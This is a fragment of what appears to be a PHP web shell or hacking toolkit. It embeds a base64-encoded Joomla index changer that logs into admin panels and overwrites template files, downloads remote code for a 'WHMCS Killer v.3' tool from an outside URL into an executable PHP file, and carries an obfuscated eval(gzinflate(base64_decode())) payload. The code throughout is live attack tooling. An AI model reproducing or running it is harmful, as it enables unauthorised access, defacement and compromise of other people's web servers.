JGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJGhpZGRlbjI9ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJywyKTsNCmlmKCRoaWRkZW4yKSB7DQplY2hvKCI8YnI+WytdIGluZGV4LnBocCBmaWxlIGZvdW5kZWQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bLV0gaW5kZXgucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsNCmV4aXQ7DQp9DQplY2hvKCI8YnI+WypdIFVwZGF0aW5nIEluZGV4LnBocCAuLi4uLiIpOw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiamZvcm1bc291cmNlXT0iLiRoLiImamZvcm1bZmlsZW5hbWVdPWluZGV4LnBocCZqZm9ybVtleHRlbnNpb25faWRdPSIuJHRlbXBsYXRlX2lkLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zb3VyY2Uuc2F2ZSIpOw0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UiPicpOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yIik7DQpleGl0Ow0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+WytdIEluZGV4LnBocCBzdWNjZXNzZnVsbHkgc2F2ZWQiKTsNCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNiAgRU5EICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KDQp9DQplbHNlDQp7DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNSAgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkJIA0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4idGVtcGxhdGVzX21lbnVgIFdIRVJFIGNsaWVudF9pZD0nMCciKTsNCgkgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiR0ZW1wbGF0ZV9uYW1lPSRkYXRhWyJ0ZW1wbGF0ZSJdOw0KDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJGhpZGRlbj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOw0KDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1Njc4OSZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsNCg0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gTG9naW4gRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gTG9naW4gU3VjY2Vzc2Z1bCIpOw0KfQ0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9ZWRpdF9zb3VyY2UmY2xpZW50PTAmaWQ9Ii4kdGVtcGxhdGVfbmFtZTsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRoaWRkZW4yPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNik7DQoNCmlmKCRoaWRkZW4yKSB7DQplY2hvKCI8YnI+WytdIGluZGV4LnBocCBmaWxlIGZvdW5kZWQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bLV0gaW5kZXgucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsNCn0NCg0KZWNobygiPGJyPlsqXSBVcGRhdGluZyBJbmRleC5waHAgLi4uLi4iKTsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJmaWxlY29udGVudD0iLiRoLiImaWQ9Ii4kdGVtcGxhdGVfbmFtZS4iJmNpZFtdPSIuJHRlbXBsYXRlX25hbWUuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNhdmVfc291cmNlJmNsaWVudD0wIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGQgY2xhc3M9Im1lc3NhZ2UgbWVzc2FnZSBmYWRlIj4nKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQplY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBJbmRleC5waHAgc3VjY2Vzc2Z1bGx5IHNhdmVkIik7DQp9DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgIFYxLjUgIEVORCAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCn0NCg0KfQ0KDQoNCmZ1bmN0aW9uIHJhbmRvbXQoKSB7IA0KDQogICAgJGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiOyANCiAgICBzcmFuZCgoZG91YmxlKW1pY3JvdGltZSgpKjEwMDAwMDApOyANCiAgICAkaSA9IDA7IA0KICAgICRwYXNzID0gJycgOyANCg0KICAgIHdoaWxlICgkaSA8PSA3KSB7IA0KICAgICAgICAkbnVtID0gcmFuZCgpICUgMzM7IA0KICAgICAgICAkdG1wID0gc3Vic3RyKCRjaGFycywgJG51bSwgMSk7IA0KICAgICAgICAkcGFzcyA9ICRwYXNzIC4gJHRtcDsgDQogICAgICAgICRpKys7IA0KICAgIH0gDQoNCiAgICByZXR1cm4gJHBhc3M7IA0KDQp9DQoNCmZ1bmN0aW9uIGVudHJlMnYyKCR0ZXh0LCRtYXJxdWV1ckRlYnV0TGllbiwkbWFycXVldXJGaW5MaWVuLCRpPTEpDQoNCnsNCg0KJGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOw0KJGFyMT1leHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbJGldKTsNCiRhcj10cmltKCRhcjFbMF0pOw0KcmV0dXJuICRhcjsNCn0NCmVjaG8gIg0KXG4iOyANCmVjaG8gIjx0aXRsZT5DaGFuZ2UgSm9vbWxhIEluZGV4IENvZGVkIEJ5IFJBQjNPVU48L3RpdGxlPiA8bGluayByZWw9J3Nob3J0Y3V0IGljb24nIGhyZWY9J2h0dHA6Ly93d3cuaWNvbmouY29tL2ljby96L3AvenBzaTkwbGZjNy5pY28nIHR5cGU9J2ltYWdlL3gtaWNvbicgLz4NClxuIjsgDQplY2hvICI8Ym9keSBiZ2NvbG9yPVwiIzE1MTUxNVwiPg0KXG4iOyANCmVjaG8gIiA8c3R5bGU+DQpcbiI7IA0KZWNobyAiYm9keSB7IGJhY2tncm91bmQ6IzE1MTUxNTtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9mb25kYmdfenBzNjUwZjUwMjUuanBnKTsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OiA0MDA7IGNvbG9yOiAjNThGQUY0OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH0NClxuIjsgDQplY2hvICJCT0RZIHsgU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMxOTE5MTk7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogb2xpdmU7ICAgY29sb3I6ICM1OEZBRjQ7fQ0KXG4iOyANCmVjaG8gInRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6IzE5MTkxOTtjb2xvcjp3aGl0ZTtmb250LXNpemU6IDEycHg7Zm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBib3JkZXI6IDFweCBzb2xpZCAjNThGQUY0O30NClxuIjsgDQplY2hvICJpbnB1dHtGT05ULVdFSUdIVDpub3JtYWw7YmFja2dyb3VuZC1jb2xvcjogIzE5MTkxOTtmb250LXNpemU6IDEycHg7Y29sb3I6IHdoaXRlOyBmb250LWZhbWlseTogQ291cmllciBOZXc7IGJvcmRlcjogMXB4IHNvbGlkICM1OEZBRjQ7aGVpZ2h0OjE3fQ0KXG4iOyANCmVjaG8gIjwvc3R5bGU+DQpcbiI7IA0KZWNobyAiPGNlbnRlcj4NClxuIjsgDQplY2hvICI8YnI+DQpcbiI7IA0KZWNobyAiPEZPUk0gYWN0aW9uPVwiXCIgIG1ldGhvZD1cInBvc3RcIj4NClxuIjsgDQplY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmb3JtX2FjdGlvblwiIHZhbHVlPVwiMlwiPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8dGFibGUgYm9yZGVyPTE+DQpcbiI7IA0KZWNobyAiDQpcbiI7IA0KZWNobyAiPHRyPjx0ZD48Zm9udCBjb2xvcj1cIiM1OEZBRjRcIiBzaXplPScyJz5kYl9wcmVmaXggPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjMwXCIgbmFtZT1cImRiX3ByZWZpeFwiIHZhbHVlPVwiam9zX1wiPjwvZm9udD48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD48Zm9udCBjb2xvcj1cIiM1OEZBRjRcIiBzaXplPScyJz5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfdXNlcm5hbWVcIiB2YWx1ZT1cIlwiPjwvZm9udD48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD48Zm9udCBjb2xvcj1cIiM1OEZBRjRcIiBzaXplPScyJz5kYl9wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJkYl9wYXNzd29yZFwiIHZhbHVlPVwiXCI+PC9mb250PjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPjxmb250IGNvbG9yPVwiIzU4RkFGNFwiIHNpemU9JzInPmRiX25hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzaXplPVwiMzBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiXCI+PC9mb250PjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPjxmb250IGNvbG9yPVwiIzU4RkFGNFwiIHNpemU9JzInPkFkbWluIENvbnRyb2wgcGFuZWwgdXJsPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cInNpdGVfdXJsXCIgdmFsdWU9XCJodHRwOi8vc2l0ZS5jb20vYWRtaW5pc3RyYXRvci9cIj48L2ZvbnQ+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIg0KXG4iOyANCmVjaG8gIjwvdGFibGU+DQpcbiI7IA0KZWNobyAiPGJyPg0KXG4iOyANCmVjaG8gIjxicj4NClxuIjsgDQplY2hvICI8VEVYVEFSRUEgcm93cz1cIjE4XCIgIGNvbHM9XCI1MFwiIG5hbWU9XCJjb2RlXCI+PC9URVhUQVJFQT4NClxuIjsgDQplY2hvICIJPGJyPg0KXG4iOyANCmVjaG8gIjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3VibWl0XCIgbmFtZT1cIlN1Ym1pdFwiPg0KXG4iOyANCmVjaG8gIjwvRk9STT4NClxuIjsgDQplY2hvICIgPGNlbnRlcj4gPGZvbnQgY29sb3I9XCJncmV5XCIgc2l6ZT0nMSc+ICAgUmVjb2RlZCBieSBWaXJ1c2EgV29ybSAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj5cbiI7DQo/Pg==';
  196.     $file = fopen("joic.php" ,"w+");
  197.     $write = fwrite ($file ,base64_decode($joic));
  198.     fclose($file);
  199.         chmod("joic.php",0755);
  200.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Joomla Index Changer</b></p><iframe src=joic.php width=70% height=60% frameborder=0></iframe>"; }
  201.        
  202.     elseif(isset($_GET['whkill'])) {  
  203.     $whkill ='http://www.ppteo.es/wp-content/themes/calotropis/GPI.txt';
  204.     $file = fopen("whkill.php" ,"w+");
  205.     $write = fwrite ($file ,file_get_contents($whkill));
  206.     fclose($file);
  207.         chmod("whkill.php",0755);
  208.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>WHMCS Killer v.3</b></p><iframe src=whkill.php width=70% height=60% frameborder=0></iframe>"; }
  209.        
  210.     elseif(isset($_GET['whex'])) {
  211.     $whex ='PD9waHAgLy8tLSByZWNvZGVjIGJ5IEFub25HaG9zdCAtLS8vDQpwcmVnX3JlcGxhY2UoIi8uKi9lIiwiXHg2NVx4NzZceDYxXHg2Q1x4MjhceDY3XHg3QVx4NjlceDZFXHg2Nlx4NkNceDYxXHg3NFx4NjVceDI4XHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NVx4MjgnbFp6SnpqTkpia1gzQnZ3T2hVSXY3RTNqVThZa29lQTN5WTNHbGRkR1BiNlZqSE1ZV2IrTkFub2hhRXBsVE9UbHZReUcvdkhuOC9OOC9mYmJQLy9ydDkvM1A4ZlA5N0h0Zi9iMmZZejl6L1paNzQvdit2UDd1SHdmWlg2MlhiK1A3L2ZiOTdydC9YM2M1K3Y0N3ZqOE9aL2I5M2w4cnkzOSsyaW45Mk4rOXBmdkwzOTlYOHZwL2ZkZTVmckw5ZU92OTZ1Ly9MN2NmcmxmKytYNy9qZnQvZHFmbzcvMWI4YnovL1h2MS9IL2VyOWYyenZmci96U3YvSkwrOTlyNjYvejkzZjk2LyszdlgvcDk0eHYrL1o3Zk5lNmZiL3YzK2Y2L2F4K2Z6ZU9lN2Y1dS82OWRqais3L2Vqem52MXgzekU5VWYvbjlOZWpuV3B4MXArUCsvTXpmSDljWS9PZCtQNC9ydWU5VGJIY2JSN1hITzhIdlR0dUw0eE45clg4WG5ZeGRIWDQvR2VkaEgyL08xTHU4dzJLM1pmNldPL3pjL2JNYTZmK2J2ajlmQzNmYzVCMlB3MiszS00vL2orOEplamYvM05ITmJaeisweCt4SSs4NW5qaVQ3Zlpodkg5WlZ4SE4vSFBGeG5md3Z6NGUvVFB1cTg1cGlYNC9OamJvOTdSVnZQK1h6MHRkUEcwY2RqM2NKK1h2eG1NSjRmdm1PZTR4Nk5QbDJudlVUYmZWNGY4L3N6cnozbTRMaFBmRTlmeDJtdGp1c3JmYkM5Y1puclpaL0RQci90OXc5enh0aVBjUXo4UGR2QTN6dTRjOWhZL09ZMjdlR3cwWXBQeHhxVjZYK0ZPZStzMjNHZnNNblg3RS9ZMHMreW9XajdoajBOK25rREMrdDhQbXltOFp1QnJZVXRIVFl6OEozYjdGUDMvVGJ0c1dEelhUdmp1b3FOSERZUjluRjh0czNQb3grTzY0N04xV1dieDVvZDk0Mzc0MWZINjhNR2puRTJmUlJNNnkvc3ZNOStIRzNFR0s0blgyN3ozckVtZGM1ZnhhWTd0bmUwSDJ0YjV2Z2lkbUQvUjk5ajdQckdGUjk3VEp0MHZjUG03dUJKbmI3VVdKUHdwNS9aNzdEYnZoN2hxM2ZzNlQzdE5lYWp6RFdwZmZsc3JQOERIK3l6ajhjNE8yc1IvdnNoWHBTNXhzYzZkdUpkY2I3THdvQ2pyL3JMOGJsMmVZdzF2bWZjNFp1ZlpVL2x1dkNnZ25FeEozZXc2Y1A4Lzh6K09aWVlHLzF1ckZFVmx3WStld00zci9PYXdHZjhQdGF6WWo5OEh2UHdtdXNVOTNzdlBDdU1LekM5ejNseFRXSU42bWx1OWVmQmZQUzVwa2Nmb3IxdDJvNWpQMncrYkh0YmZUMTgrNWlQV3RaYXhHdHQ3NzNpYU54VC94eXM5V1A2WmVBdmVCWTg1b1ovWHhqdjU0Ukxuem11YW4reGpRb0dCWDRNWXRJRkh5c0w3enBZZnR5bkUzZU91WWl4dk9hMWdROWdSZ2V2OWVzTzN0amY4RVZzUGRiRmRUWnVWSEFQSEEwZll2MWR4MHJNQ1B5L0VEOS9zS0ZDVEFRRDRscjc0VHFKWlIvdVEzdzg1cnN5MW9HZnhOZzZHUENhZlRxZXhZd0c1aDlyNTV6MjJ4clA0V2RpU1BUdEFWYkFBU28rVnJDVjhOTUt6aERmai9iQy94N0V6Y0s0d2RMZ3IyRGdNWGZPeThEUGpSMng3cCtKZVdFM0g3QzNyWmpzT0dNY3p6bTJ3QUJ3Tk5wcmkyY0UvMnZUdDRmUDEvbTdtQWM0WW96dlRiL3c2N0FYZUVvREV4dStGbk5XcDQwZDdZV1B3c2NhUHVMcm1CZWVoN2JhMW5xVjYrcGI0RDN4cnNLejdHZTBkUU1ITHZqTmcrdUpHd1dNUEQ0TFhMc1JPODUrWXh4NHd6LzZiRHZtUVN4K3o3RVg0N1ZZZXlGT1gwNThvaTJzai9WbmJnS0RHN0hKK2VEN2pISEdUSDJLT0J3eHBPS2J4SnFPTHgxK2NQaUhmUEd3aWFNL0VlL2szSHduSmd5dzEvazY3bFdJZDhHbkh4UFRqbnVVc21KRDhyWGJ5ZmNMdG5wbmZKY1Q3M3JPOFoxdDBuaDlyRzNUZHU3VHJvcHovWUo3WHVZNnlSdUR4NTk4U2E3V2lmMkZHTnIwWlh5eStmb0N0cFYxaitDVStIUndseE5HTnVOVFdiN2NXZjlqallJTEVNK0NwekVQRlYrTThXOG5XNzJ0dUtvOWFMdGRMTHRoazhTZkFTY3BsN1dHYW91NGpuV1M0NGczOGQ3NERJN0xVZVNPWVh1RHVQZ2lKc0hsdzI2dnhMVnl3a3JtVkovdjhMdUdyUm5ESXc2QU9XSitZeDdqdVhCdjd0UHd4dzRlR0VzTE1iMmhieXFZM3BpM2lKdU1PN1RXZlkycHdza0R5N1Y3ZU1CUUU0Z1ZQL2lEODNYSE41N2d6cE01Mk9qWGlXczMvS21vejY1Z1BseTBZV1BSM3lzYzRVRmMrY3cyZzc5dXkrOWpuWCs0SDdnKzFFZ3Yxb0Y0MmJESDhMTTNQb01PamJXK1lMZHdGVFdFV0J1eFhsMkZUUXg1SVBNUzg5cm9IM2haV2NNQmJ5cndLdkVoL0xhZk9BMDhhOEE3a3orOVYreklOWVdEYnZKZ1k5cDI4clZ0VHczYVR2ZlBtQ2pQZjRMN2o3bG1CYzFYMU12NGhuNDNpSHVEbUQvb2MvWHpDMWdDVjR6M1lIWFlBNXBPM3hqRWxBcWZHZWpQYXB6RDk0SXpQYmtPWDVQN3huZHdqYlJKN0xDZWJZWTRxeDNHR3QzeHU3NjRSTmwrLytQZi8rMGZmN2IzL1drT3JzRjF6QVVNK0tBeHJta3I3elVYRVVmT2VZczNyOUVDRlI0UXorWktpSU9PVVN6bzhsOXNNOVlVN2pMZ0JnVXQxT0F0bVllQXQ4VHYydkwvR0lkYWR4Qkh5U0hsM0lyTFA4elpaN1ZmK3NMeDRCWnE1Sjk5OGR6WGJLY1Q2Mks4Si84STN5WXVWT0puUjBkRS94cS9BeThIZVlqd0NYQ3FYeFp2aUd2bFFXL1dVN3krNHI4Yk1WSk5oT2JyeEtXTVNheDMxUjd4MWZDWnNxZWVqM3ZCZWJYeDRIeDlQc3k3NllOaE04UjUrVmRvZi9ob2NEUzRXTmdGdWE3dzM4OEplNTBQeDZHKy9PeExoOElYR2h4R3ZoUFlBU1lPYktGY1Z1eVdxNmp2QTFPTWkrcDJjeVVQNGdqM01iZFF3TjdnMEc5c0dSdlNENGUrMlUvdHdyUE1SNFZPVmRzU3o5dTJjRjJPYkk0dHREb1lwUDROVG5WZGMxanJpdm5tTXlMbjJwZFBOTGxBblhNWTR3U3pnby9BeWFyeDlyNTRTZkRMNjdLWmdjWlhOeWIvZ3B0Vi9DK3dhR0RIMitJQTZ2VHcxY1ljWCtrcm1xK2N0ZUIxeGVrTlBYdTBlYzdoVkxDZ3lRM3VZTUFITE1HbUt2SEJQRkFGaDdzNmkvaGk3aXI4bHMvNnlWZUwrUnIxSTc5TkhvNmRWSEtKZ1pOb0FYTTBIWTRRY3dzV0pvOHIrTkU0WWNSdHJVdGc4TVlEbjZuZ2daaWxuUTA1N2pibkt2THE2TVlLLzlEdUluNkNRWnMyQWg0bnAycmdBTmhxTG0rUU13dC83dnZTZ1RldzdVR09vWi80MTRPNDlYUENLWGg4RzR1akdZUE92bHNZVTRmdkZmbU1QQkFiYXZDSjhNWFh2dkxUTnpCam5MQlNya2I4eTV3Y1BLVnJXOFowZk1DOGYyaEtOSndhdTZQbmpyYmtPY2Y2ZHJpTjl0L0pBMFNmeFZyMDRrQjNuOXVzN2h1b1ZZZ1Y1bzAyZFIrYUtOcUJQNnQ1dWpreGN5bXNiZGlPdk01MWZjdytGSG0xT2hRdFk0NnB5K1A2aVc4N2hzcTk4Tm5BaG81ZDFyVldFVjhhYmNBdHo5cTdxQU1iUG5TREo4ai9XVU14MzM1My9DM3NibU45K2Q0Y1YvQWFmQ0Y1NFdWUDNkcklFNW1MS3VaQnNlRnFEQVE3Qnh3Z09ERjIwb25uZ1dIWVJIQmxiRnFlTXNnNWhaM2ZGK1lFOS8zTThXM2F1RHlPR0JIclN2eVNTNXZ6TVM5ZTFYUGtCTXlKdXZiWjV4ZGpFa3Z4QTNYWUJ1ZHV0NFhON3NlRi8xNVBNZU81cDBZeXY5SE5oYUQvTXQ1aEErYUg1SFhtUHVPOWVJSHVOTy9iR1gvYTUyM1B2YnhPL2laeXB2MDBGbkF3UHRmK3hJVVg2MHpNTmxlcW5tL2dZY1p4ZUcxbzR6ZHhSYnNaYzI3bEtFMWNab3dSUDR5bjRIZEZzOVcyY0Nwek5jOVRMRFlHMFViRS9nZjI4SnkrMXNsSE5ia2tXRkhxOG8zQUdua1NyOTF2cldDTUdPUytjUUUzT3B4RmJEWDNIM3hITG9GdXFXQ1lQRXlmamo0WWcrRjZBeDFROFUxekVLRXBqTGx2ZkxXQ2pXWDJ2WjcxVVdNc3JIOGxWc3Zmbkp1ME9YSGhzYWN1MkI3TE55dnR1L2VpcHBNYlJBNlI5akkvSjVjdkt4NEVib25SYW9xeWZEcml6QU5zMXphZjhDZkcyYlNqdHE5Y2g